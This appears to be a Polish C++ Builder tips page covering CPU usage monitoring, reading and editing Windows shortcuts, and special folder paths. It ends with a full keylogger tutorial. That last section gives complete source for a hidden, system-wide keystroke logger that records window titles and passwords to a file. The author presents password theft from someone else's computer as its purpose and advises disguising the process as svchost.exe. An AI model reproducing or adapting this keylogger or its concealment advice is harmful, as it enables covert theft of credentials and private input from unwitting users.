Sprawdzanie użycia
procesora.
Sprawdzenie w jakim stopniu jest używany procesor w systemie nie jest sprawą
prostą, gdyż wymaga to zastosowania w kodzie C++ wstawek asemblerowych, co dla
osób nie znających się na asemblerze może stanowić nie lada problem. Ja jednak
poszperałem w sieci i znalazłem bibliotekę adCpuUsage.hpp, która czyni
ten problem banalnie prostym. Zanim przystąpisz do testowania tej porady
ściągnij sobie archiwum cpulib.zip
w którym znajdziesz dwa pliki.
Plik adCpuUsage.hpp trzeba skopiować do katalogu: C:\Program Files\Borland\CBuilder6\Include\Vcl
Jeżeli posiadasz inną wersję środowiska BCB to musisz odpowiednio zmodyfikować
tą ścieżkę, zasadniczo chodzi o to, żeby skopiować ten plik do katalogu
Include\Vcl
Tworzymy nowy
projekt zapisujemy go, a następnie do katalogu projektu kopiujemy plik
adCpuUsage.pas,
następnie przechodzimy do BCB, w menu Project | Add to Project... i
wybieramy właśnie plik adCpuUsage.pas włączając go w ten sposób do
projektu. Następnie przechodzimy do pliku nagłówkowego (np. Unit1.h) i w sekcji
include dodajemy wpis:
#include <adCpuUsage.hpp>
Od tej chwili projekt jest przygotowany do kodowania.
Na początek pokażę
jak sprawdzić użycie procesora na komputerach wyposażonych tylko w jeden
procesor.
Umieszczamy na formularzu komponent Edit1 oraz komponent Timer1 i tworzymy dla
niego zdarzenie OnTimer, a następnie umieszczamy w nim taki kod:
//-------------------------------- void __fastcall TForm1::TimerTimer(TObject *Sender) { CollectCPUData(); Edit1->Text = "Użycie procesora:" + FloatToStrF((GetCPUUsage(0) * 100), ffNumber, 7, 0) + "%"; } //-------------------------------- |
Jak widać wystarczą dwie funkcje: CollectCPUData() inicjuje pobieranie danych o
procesorze, GetCPUUsage(0) zbiera i zwraca informacje o procentowym użyciu
procesora.
To był przykład na sprawdzenie użycia jednego procesora, może się jednak
zdarzyć, że mamy w komputerze więcej procesów, zasada pobierania danych o użyciu
kilku procesorów jest taka sam, jednak wymaga zastosowania pętli wyliczającej
wszystkie procesory.
Komponent Edit1 zastąpimy teraz komponentem Memo1 i to w nim będą wyświetlane
informacje o użyciu procesorów. Dodatkowo tworzymy zdarzenie OnCreate dla
formularza, w tym zdarzeniu zostanie wywołana funkcja GetCPUCount() sprawdzająca
ile procesorów jest w komputerze. W zdarzeniu OnTimer będzie dodatkowo
wywoływana pętla aktualizująca informacje o użyciu procesora:
//-------------------------------- void __fastcall TForm1::FormCreate(TObject *Sender) { Memo1->Lines->Clear(); //Tutaj następuje sprawdzenie ile procesorów ma komputer Memo1->Lines->Add(Format("W systemie znajduje(ją) się %d procesor(y)", ARRAYOFCONST((GetCPUCount()-1)))); // tutaj zostaje wypełnione Memo wpisami dla każdego procesora // wpisy te są następnie aktualizowane w zdarzeniu OnTimer for(int i = 0; i < GetCPUCount()-1; i++) MInfo->Lines->Add(""); } //-------------------------------- void __fastcall TForm1::TimerTimer(TObject *Sender) { CollectCPUData(); Memo1->Lines->BeginUpdate(); // w pętli sprawdzane jest zużycie wszystkich procesorów for(int i = 0; i < GetCPUCount() - 1; i++) Memo1->Lines->Strings[i + 1] = Format("Procesor %d: w użyciu: %5.0f%%", ARRAYOFCONST( (i + 1, (GetCPUUsage(i) * 100)) ) ); Memo1->Lines->EndUpdate(); } //-------------------------------- |
Powyższy kod testowałem na komputerze z procesorem Pentium 4 w systemie
WindowsXP.
Dla systemów operacyjnych nie opartych na jądrze NT (np. Win 95/98) trzeba by
chyba zmienić: GetCPUCount() - 1 na GetCPUCount(), ale nie mam jak tego
sprawdzić, więc nie jestem pewien.
Ważne! Jeżeli w systemie zostanie wyłączony plik wymiany (pamięć wirtualne, pagefile.sys) to przedstawiona wyżej funkcja nie będzie działać, gdyż system wyłączy usługę odpowiedzialną za optymalizację użycia procesora. Można to oczywiście włączyć zmieniając wpis w rejestrze klucz: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PerfOS\Performance wartość DWORD Disable Performance Counters ustawiamy na 0, ale przy ponownym uruchomieniu systemu i tak wartość ta zostanie ustawiona na 1. Po zmianie tej wartości trzeba by i tak restartować program, by mógł wykrywać zużycie procesora |
Modyfikacja i pobieranie informacji o skrótach.
W dziale API jest porada Tworzenie
skrótów do plików, a w tej poradzie zaprezentuję sposób na odczytywanie
informacji o skrócie jak również sposób na jego modyfikację.
Na początek przygotowujemy projekt, umieszczamy na formularzu dwa komponenty
Button1 i Edit1, a następnie w pliku źródłowym na samej górze umieszczamy wpis:
#define NO_WIN32_LEAN_AND_MEAN, a w sekcji include włączmy do projektu
bibliotekę shlobj.h:
//--------------------------------------------------------------------------- #define NO_WIN32_LEAN_AND_MEAN #include <vcl.h> #pragma hdrstop #include "Unit1.h" #include <shlobj.h> //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; |
Następnie tworzymy specjalną strukturę LINK_FILE_INFO, która będzie przechowywała informacje o wybranym skrócie, oraz funkcję LinkFileInfo pobierającą informacje o zadanym skrócie i przekazującą je do struktury, w przypadku modyfikacji skrótu funkcja będzie pobierała informacje ze struktury:
//--------------------------------------------------------------------------- #define NO_WIN32_LEAN_AND_MEAN #include <vcl.h> #pragma hdrstop #include "Unit1.h" #include <shlobj.h> //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; typedef struct tagLINK_FILE_INFO { char sFileName[MAX_PATH + 1]; // długa nazwa pliku do którego prowadzi skrót (element docelowy) char lFileName[MAX_PATH + 1]; // krótka nazwa pliku do którego prowadzi skrót (element docelowy) char WorkDirectory[MAX_PATH + 1]; // katalog roboczy (rozpocznij w) char IconLocation[MAX_PATH + 1]; // lokalizacja pliku ikony skrótu int IconIndex; // numer indeksu ikony w pliku char Arguments[MAX_PATH + 1]; // parametry przekazywane do programu (element docelowy) char Description[256]; // opis skrótu (komentarz) char RelativePath[256]; // względna ścieżka dostępu int ShowState; // sposób wyświetlania uruchomionego programu (uruchom) Word HotKey; // klawisz skrótu }LINK_FILE_INFO, *PLINK_FILE_INFO; bool LinkFileInfo(const AnsiString lnkFileName, LINK_FILE_INFO *info, const bool bSet) { HRESULT hr; IShellLink *psl; WIN32_FIND_DATA wfd; IPersistFile *ppf; wchar_t *lpw; wchar_t *buf; bool Result = false; buf = (wchar_t *)AllocMem((MAX_PATH + 1) * sizeof(wchar_t)); try { if(SUCCEEDED(CoInitialize(NULL))) if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkA, (void **)(&psl)))) { hr = psl->QueryInterface(IID_IPersistFile,(void **)(&ppf)); if(SUCCEEDED(hr)) { lpw = StringToWideChar(lnkFileName, buf, MAX_PATH); hr = ppf->Load(lpw, STGM_READ); if(SUCCEEDED(hr)) { hr = psl->Resolve(NULL, SLR_NO_UI); if(SUCCEEDED(hr)) { if(bSet) { psl->SetArguments(info->Arguments); psl->SetDescription(info->Description); psl->SetHotkey(info->HotKey); psl->SetIconLocation(info->IconLocation, info->IconIndex); psl->SetPath(info->lFileName); psl->SetShowCmd(info->ShowState); psl->SetRelativePath(info->RelativePath, 0); psl->SetWorkingDirectory(info->WorkDirectory); Result = SUCCEEDED(psl->Resolve(0, SLR_UPDATE)); } else { psl->GetPath(info->lFileName, MAX_PATH, &wfd, SLGP_RAWPATH); psl->GetPath(info->sFileName, MAX_PATH, &wfd, SLGP_RAWPATH); psl->GetIconLocation(info->IconLocation,MAX_PATH, &(info->IconIndex)); psl->GetWorkingDirectory(info->WorkDirectory, MAX_PATH); psl->GetDescription(info->Description, 255); psl->GetArguments(info->Arguments, MAX_PATH); psl->GetHotkey(&(info->HotKey)); psl->GetShowCmd(&(info->ShowState)); Result = true; } } } } } } __finally { delete buf; } return Result; } //--------------------------------------------------------------------------- |
Wywołanie funkcji jest banalnie proste i ogranicza się w zasadzie do utworzenia
obiektu struktury i wywołania funkcji z odpowiednimi parametrami, i tak pierwszy
argument funkcji lnkFileName to ścieżka dostępu do pliku skrótu i można tutaj
podawać tylko ścieżki dostępu do skrótów, a więc plików z rozszerzeniem *.lnk,
np: "C:\\Documents
and Settings\\All Users\\Pulpit\\C++ Builder.lnk". Drugi argument to
wskaźnik do struktury, która przekazuje lub zwraca informacje skrótu. Trzeci
argument to przełącznik typu bool, który przestawia funkcję w tryb do odczytu
lub do zapisy, czyli jeżeli wstawimy tutaj parametr false to funkcja będzie
odczytywała informacje o skrócie, jeżeli natomiast wstawimy parametr true
to funkcja będzie modyfikowała zadany skrót.
Najpierw pokażę jak pobrać informacje o skrócie, w przykładzie zostanie pobrana
ścieżka dostępu do pliku, do którego skrót prowadzi:
//--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { LINK_FILE_INFO i; memset(&i, 0, sizeof(i)); if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\C++ Builder.lnk", &i, false)) Edit1->Text = i.lFileName; else ShowMessage("Błąd! Brak skrótu!"); } //--------------------------------------------------------------------------- |
Teraz modyfikacja skrótu, w przykładzie pokażę jak zmodyfikować ścieżkę dostępu
do pliku, do którego skrót ma prowadzić:
Najpierw pokażę jak pobrać informacje o skrócie, w przykładzie zostanie pobrana
ścieżka dostępu do pliku, do którego skrót prowadzi:
//--------------------------------------------------------------------------- #include <stdio.h> void __fastcall TForm1::Button1Click(TObject *Sender) { LINK_FILE_INFO i; memset(&i, 0, sizeof(i)); sprintf(i.lFileName, "%s", "D:\\Borland\\CBuilder6\\Bin\\bcb.exe"); //ścieżka dostępu do programu sprintf(i.Arguments, "%s", "-NS"); // parametr dodawany do ścieżki dostępu, nie jest konieczny, ten parametr sprawia że BCB nie wyświetla SplashScreen podczas uruchamiania. if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\c++ builder.lnk", &i, true)) ShowMessage("Zmodyfikowano skrót."); } //--------------------------------------------------------------------------- |
Modyfikując skrót należy pamiętać o jednej rzeczy, jeżeli zmodyfikujemy tylko
jeden parametr skrótu, to pozostałe ustawią się na domyślne lub puste, czyli
modyfikując skrót należy zawsze podawać ścieżkę dostępu do pliku (element
docelowy), w przeciwnym razie pole to pozostanie puste i skrót nie będzie
działał.
Na zakończenie coś dla leniwych, jeżeli nie chce się wam pisać całego tego kodu,
czyli funkcji i struktury, to możecie sobie ściągnąć gotową bibliotekę
linkinfo.hpp. Po pobraniu bibliotekę trzeba skopiować do katalogu:
C:\Program Files\Borland\CBuilder6\Include\Vcl. Od teraz wystarczy dodawać do
projektu w pliku nagłówkowym w sekcji include wpis:
#include
<linkinfo.hpp>.
Korzystając z tej biblioteki nie trzeba juz dodawać w pliku źródłowym wpisów
#define NO_WIN32_LEAN_AND_MEAN i #include <shlobj.h>, ponieważ
biblioteka już je zawiera.
W bibliotece oprócz wyżej przedstawionej struktury i funkcji znajduje się
również funkcja tworząca skróty. Sposób korzystania z biblioteki jest dokładnie
taki sam jak wyżej przedstawiony dla funkcji:
Pobieranie informacji o skrócie:
//--------------------------------------------------------------------------- #include <linkinfo.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) { LINK_FILE_INFO i; memset(&i, 0, sizeof(i)); if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\C++ Builder.lnk", &i, false)) Edit1->Text = i.lFileName; else ShowMessage("Błąd! Brak skrótu!"); } //--------------------------------------------------------------------------- |
Modyfikacja skrótu:
//--------------------------------------------------------------------------- #include <stdio.h> #include <linkinfo.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) { LINK_FILE_INFO i; memset(&i, 0, sizeof(i)); sprintf(i.lFileName, "%s", "D:\\Borland\\CBuilder6\\Bin\\bcb.exe"); //ścieżka dostępu do programu sprintf(i.Arguments, "%s", "-NS"); // parametr dodawany do ścieżki dostępu, nie jest konieczny, ten parametr sprawia że BCB nie wyświetla SplashScreen podczas uruchamiania. if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\c++ builder.lnk", &i, true)) ShowMessage("Zmodyfikowano skrót."); } //--------------------------------------------------------------------------- |
Tworzenie skrótu:
//--------------------------------------------------------------------------- #include <linkinfo.hpp> void __fastcall TForm1::Button1Click(TObject *Sender) { String LinkPath = GetSpecialFolder(CSIDL_DESKTOP); // pobieranie ścieżki dostępu do pulpitu dla bieżącego użytkownika (WinXP) // dla wszystkich użytkowników CSIDL_COMMON_DESKTOPDIRECTORY LinkPath += "\\Nazwa_Programu.lnk"; if(!CreateShortcutLink("Opis", LinkPath, Application->ExeName, "")) { // komunikat pokazujący się w przypadku błędu. } } //--------------------------------------------------------------------------- |
Ścieżki dostępu do katalogów specjalnych.
Katalogi specjalne to katalogi zdefiniowane przez system i stanowiące jego
integralny składnik jak np. [Menu Start], [Pulpit], [Program Files], [Moje
dokumenty], itp... Ścieżki dostępu do tych i podobnych katalogów specjalnych
można pobierać za pomocą funkcji SHGetSpecialFolderPath, funkcja pobiera
cztery argumenty, nas w tej poradzie interesują argumenty drugi i trzeci. Drugi
argument to wskaźnik do zmiennej, której funkcja przekaże odczytaną ścieżkę
dostępu, trzeci argument to typ katalogu specjalnego, dla którego chcemy
odczytać ścieżkę dostępu.
W przykładzie poniżej przedstawię sposób na pobranie ścieżki dostępu do katalogu
[Moje dokumenty], zasada pobierania ścieżek do wszystkich katalogów jest taka
sama, jedyna różnica to różne parametry przekazywane funkcji jak trzeci
argument. Zanim przystąpimy do pisania kodu, trzeba dodać do pliku źródłowego na
jego samym początku wpis #define NO_WIN32_LEAN_END_MEAN, trzeba również
włączyć do projektu bibliotekę shlobj.h w sekcji include. Wpis
NO_WIN32_LEAN_END_MEAN eliminuje błąd, który występuje w środowisku Borland C++
Builder w wersji 6, w związku z korzystaniem z biblioteki shlobj.h:
//--------------------------------------------------------------------------- #define NO_WIN32_LEAN_AND_MEAN #include <vcl.h> #pragma hdrstop #include "Unit1.h" #include <shlobj.h> //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { char SpecDir[MAX_PATH]; SHGetSpecialFolderPath(NULL, SpecDir, CSIDL_PERSONAL, 0); Edit1->Text = (String)SpecDir; } //--------------------------------------------------------------------------- |
Jeżeli chodzi o sposób pobierania ścieżki dostępu do katalogów specjalnych to by było tyle. Niżej przedstawiam listę parametrów określających typ katalogu specjalnego:
CSIDL_DESKTOP
®
// Pulpit |
CSIDL_LOCAL_APPDATA
®
// <user name>\Ustawienia lokalne\Dane aplikacji |
Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich
programach.
Keyloger to jeden z bardziej pożądanych programów, ponieważ pozwala na
przechwytywanie klawiatury, a właściwie wciśnięcia poszczególnych jej klawiszy.
Przechwytywanie wciśnięcia klawiszy tylko w programie, w którym został
umieszczony takowy kod, jest sprawą prostą, więc nie będę tego tutaj opisywał.
Ta porada jest o tym jak napisać program, który będzie pozostawał ukryty i
nieaktywny (ale uruchomiony oczywiście) i będzie przechwytywał haki systemowe, w
tym konkretnym przypadku wciśnięcia poszczególnych klawiszy w systemie, w
dowolnym programie, a wynik będzie na bieżąco zapisywał do pliku. Jaki jest
pożytek z takiego programu? No cóż, może wydawać się to niemoralne, ale z pomocą
takiego programu można przechwytywać hasła wpisywane do programu, o ile
oczywiście uda nam się na komputerze, z którego hasła chcemy podejrzeć,
uruchomić nasz keyloger. Program będzie pozostawał w ukryciu niewidoczny dla
użytkownika i będzie rejestrował wszystkie wciśnięcia klawiszy, co więcej, kod
który pokażę, będzie rejestrował również datę i godzinę oraz nazwę okna w
którym klawisze były wciskane, niżej przykład właśnie takiego pliku:
2007-05-13
09:58:54 Mozilla Firefox: http://cyfbar.republika.pl[EN]keyloger
c++ builder[EN] |
Jak widać keyloger tworzy oddzielne rejestry dla różnych okien, dopóki nie zostanie zmienione okno, w ten sposób można precyzyjnie określić co i kiedy było wpisywane. Jeżeli w jakimś programie jest wpisywane hasło, no to najczęściej jest ono maskowane gwiazdkami, lecz keyloger przechwytuje nie gwiazdki lecz tekst, występuje jednak w takim przypadku jeden mankament, otóż podczas wpisywania loginu i hasła następuje przejście z jednego pola do drugiego poprzez kliknięcie myszką i tutaj tak przechwycona nazwa użytkownika i hasło nie zostaną od siebie oddzielone, np:
2007-05-13 09:58:54 Mozilla Firefox: cyfrowy_baron@op.plhaslo |
jak widać nie ma
przerwy między nazwą użytkownika i hasła, niestety taka drobna niedogodność,
próbowałem rejestrować wciśnięcie klawisza myszy w celu oddzielenie wpisów, ale wystąpiły z tym problemy,
ponieważ funkcja wykorzystuje już kliknięcia myszki do sprawdzania, czy
użytkownik zmienił okno, poza tym program rejestrował zbyt dużo kliknięć i
pojawiały się ciągi absurdalnych znaków.
Drugi problem to polskie znaki, nie mogłem sobie z tym
poradzić, ale też nie chciało mi się specjalnie nad tym siedzieć, więc poszedłem
na łatwiznę i wprowadziłem rejestrowanie wciśnięcia prawego klawisz Alt,
czyli w przypadku wstawienia polskiej litery np. ś program zarejestruje
to jako: [rAlt]s, więc np. wyraz światłość, będzie miał
następującą postać: [rAlt]swiat[rAlt]lo[rAlt]s[rAlt]c, ale i tutaj
pojawia się dodatkowy problem, ponieważ pisząc wyraz światłość, w przypadku
wpisywania ostatnich dwóch liter ść użytkownik przytrzyma wciśnięty
klawisz Alt i w efekcie wyraz zostanie zarejestrowany jako [rALT]swiat[rALT]lo[rALT]sc,
tak więc z polskimi znakami występują problemy, ale z reguły loginy i
hasła nie mogą ich zawierać.
Kolejna sprawa to klawisze specjalne, jak np. ENTER,
TAB, BACKSPACE, itp.. program je rejestruje jako specjalny zestaw
znaków i tak np. w przykładzie wyżej mamy coś takiego:
//j[BK]keyloger [BK], kod w cpp
widać tutaj
wstawki [BK] oznacza to, że w tym momencie został użyty klawisz
BackSpace, czyli usuwanie wpisanej litery, dla ENTER będzie to np.
[EN] dla Page Up [PU] itd.
Prezentowany tutaj keyloger jest zrobiony jako aplikacja okienkowa, czyli nie
wymaga to stosowania żadnych plików *.DLL, czy WinAPI, całość zadania zostaje
zrealizowana poprzez funkcję typu HOOKPROC.
Niżej przedstawiam kompletny listing pliku źródłowego keylogera i cały kod
programu mieści się w pliku źródłowym Unit1.cpp, w programie wykorzystałem tylko
dwa komponenty - przyciski Button1 q którym podłączenie haka (keylogera) i
Button2, w którym hak zostaje odłączony:
//--------------------------------------------------------------------------- #include <vcl.h> #pragma hdrstop #include "Unit1.h" #include <stdio.h> //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; HHOOK g_hLogHook = NULL; HWND g_hLastFocus = NULL; const int KeyPressMask = 0x80000000; char g_PrvChar; //--------------------------------------------------------------------------- HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam) { if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam); EVENTMSG *pEvt = (EVENTMSG *)lParam; int i; HWND hFocus; char szTitle[256]; char szTime[128]; FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c: if(pEvt->message == WM_KEYDOWN) { int vKey = LOBYTE(pEvt->paramL); char ch; char str[10]; hFocus = GetActiveWindow(); if(g_hLastFocus != hFocus) { GetWindowText(hFocus, szTitle, 256); g_hLastFocus = hFocus; strcpy(szTime, DateTimeToStr(Now()).c_str()); fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":"); fprintf(stream, "%c%c", 32, 32); } int iShift = GetKeyState(0x10); int iCapital = GetKeyState(0x14); int iNumLock = GetKeyState(0x90); bool bShift = (iShift & KeyPressMask) == KeyPressMask; bool bCapital = (iCapital & 1) == 1; bool bNumLock = (iNumLock & 1) == 1; if(vKey >= 48 && vKey <= 57) if(!bShift) fprintf(stream, "%c", vKey); if(vKey >= 65 && vKey <= 90) { if(!bCapital) { if(bShift) { ch = vKey; } else { ch = vKey + 32; } } else if(bShift) { ch = vKey + 32; } else { ch = vKey; } fprintf(stream, "%c", ch); } if(vKey >= 96 && vKey <= 105) if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48); if(vKey >= 186 && vKey <= 222) { switch(vKey) { case 186: if(!bShift) ch = ';'; else ch = ':'; break; case 187: if(!bShift) ch = '='; else ch = '+'; break; case 188: if(!bShift) ch = ','; else ch = '<'; break; case 189: if(!bShift) ch = '-'; else ch = '_'; break; case 190: if(!bShift) ch = '.'; else ch = '>'; break; case 191: if(!bShift) ch = '/'; else ch = '?'; break; case 192: if(!bShift) ch = '`'; else ch = '~'; break; case 219: if(!bShift) ch = '['; else ch = '{'; break; case 220: if(!bShift) ch = '\\'; else ch = '?'; break; case 221: if(!bShift) ch = ']'; else ch = '}'; break; case 222: if(!bShift) ch = '\''; else ch = '\"'; break; default: ch = 'n'; break; } if(ch != 'n') fprintf(stream, "%c", ch); } if(vKey >= 8 && vKey <= 46) { switch(vKey) { case 8: strcpy(str, "[BK]"); break; case 9: strcpy(str, "[TAB]"); break; case 13: strcpy(str, "[EN]"); break; // ENTER case 17: strcpy(str, "[rALT]"); break; // prawy ALT // case 18: strcpy(str, "[lALT]"); break; // lewy ALT case 32: strcpy(str, " "); break; // spacja case 33: strcpy(str, "[PU]"); break; case 34: strcpy(str, "[PD]"); break; case 35: strcpy(str, "[END]"); break; case 36: strcpy(str, "[HOME]"); break; case 37: strcpy(str, "[LF]"); break; case 38: strcpy(str, "[UF]"); break; case 39: strcpy(str, "[RF]"); break; case 40: strcpy(str, "[DF]"); break; case 45: strcpy(str, "[INS]"); break; case 46: strcpy(str, "[DEL]"); break; default: ch = 'n'; break; } if(ch != 'n') fprintf(stream, "%s", str); } if(bShift && vKey == 123) { Application->Restore(); ShowWindow(Application->Handle, SW_SHOW); if(g_hLogHook != NULL) { UnhookWindowsHookEx(g_hLogHook); g_hLogHook = NULL; } } } if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN) { hFocus = GetActiveWindow(); if(g_hLastFocus != hFocus) { g_hLastFocus = hFocus; GetWindowText(hFocus, szTitle, 256); strcpy(szTime, DateTimeToStr(Now()).c_str()); fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":"); fprintf(stream, "%c%c", 32, 32); } } fclose(stream); return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam); } //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { if(g_hLogHook == NULL) g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0); Application->Minimize(); ShowWindow(Application->Handle, SW_HIDE); } //--------------------------------------------------------------------------- void __fastcall TForm1::Button2Click(TObject *Sender) { if(g_hLogHook != NULL) { UnhookWindowsHookEx(g_hLogHook); g_hLogHook = NULL; } } //--------------------------------------------------------------------------- |
W
zdarzeniu OnClick przycisku Button1 hak zostaje podłączony do
wszystkich procesów, a następnie program zostaje zminimalizowany i ukryty
poprzez usunięcie go z paska zadań, w Menadżerze zadań na zakładce Aplikacje
program również nie będzie widoczny, jednak będzie widniał na zakładce procesów
i nie powiem jak ukryć proces, ponieważ hakerem nie jestem i po prostu nie wiem,
przypuszczam, że można to zrobić tylko wykorzystując jakąś lukę systemu, lub też
tworząc keyloger w jakimś sterowniku, tylko tutaj pojawia się problem z
załadowaniem takiego sterownika do pamięci. Niemniej jednak jak wspomniałem
program zostaje ukryty, można mu nadać np. nazwę svchost.exe, wtedy można
zmylić użytkownika, ponieważ na zakładce procesów występuje ich kilka,
oczywiście wprawne oko informatyka rozpozna tak zamaskowany proces jako fałszywy
ponieważ będzie on występował jako proces użytkownika, podczas gdy autentyczne
procesy svchost.exe występują tylko jako procesy systemu, usługi sieciowe i
usługi lokalne, więc można odróżnić fałszywkę.
Skoro program został ukryty, no to nie można go przywołać i odłączyć haka,
dlatego w funkcji ConnectHook umieściłem kod odłączający hak i
przywołujący okno po naciśnięciu kombinacji klawiszy SHIFT + F12, czyli
wystarczy, że użytkownika naciśnie klawisze SHIFT + F12 a program się
ukaże i hak się odłączy, więc kryje się za tym pewne niebezpieczeństwo, to
oczywiście sprawia, że kod znajdujący się w zdarzeniu OnClick przycisku
Button2 jest zbędny, ale umieściłem go dla przykładu.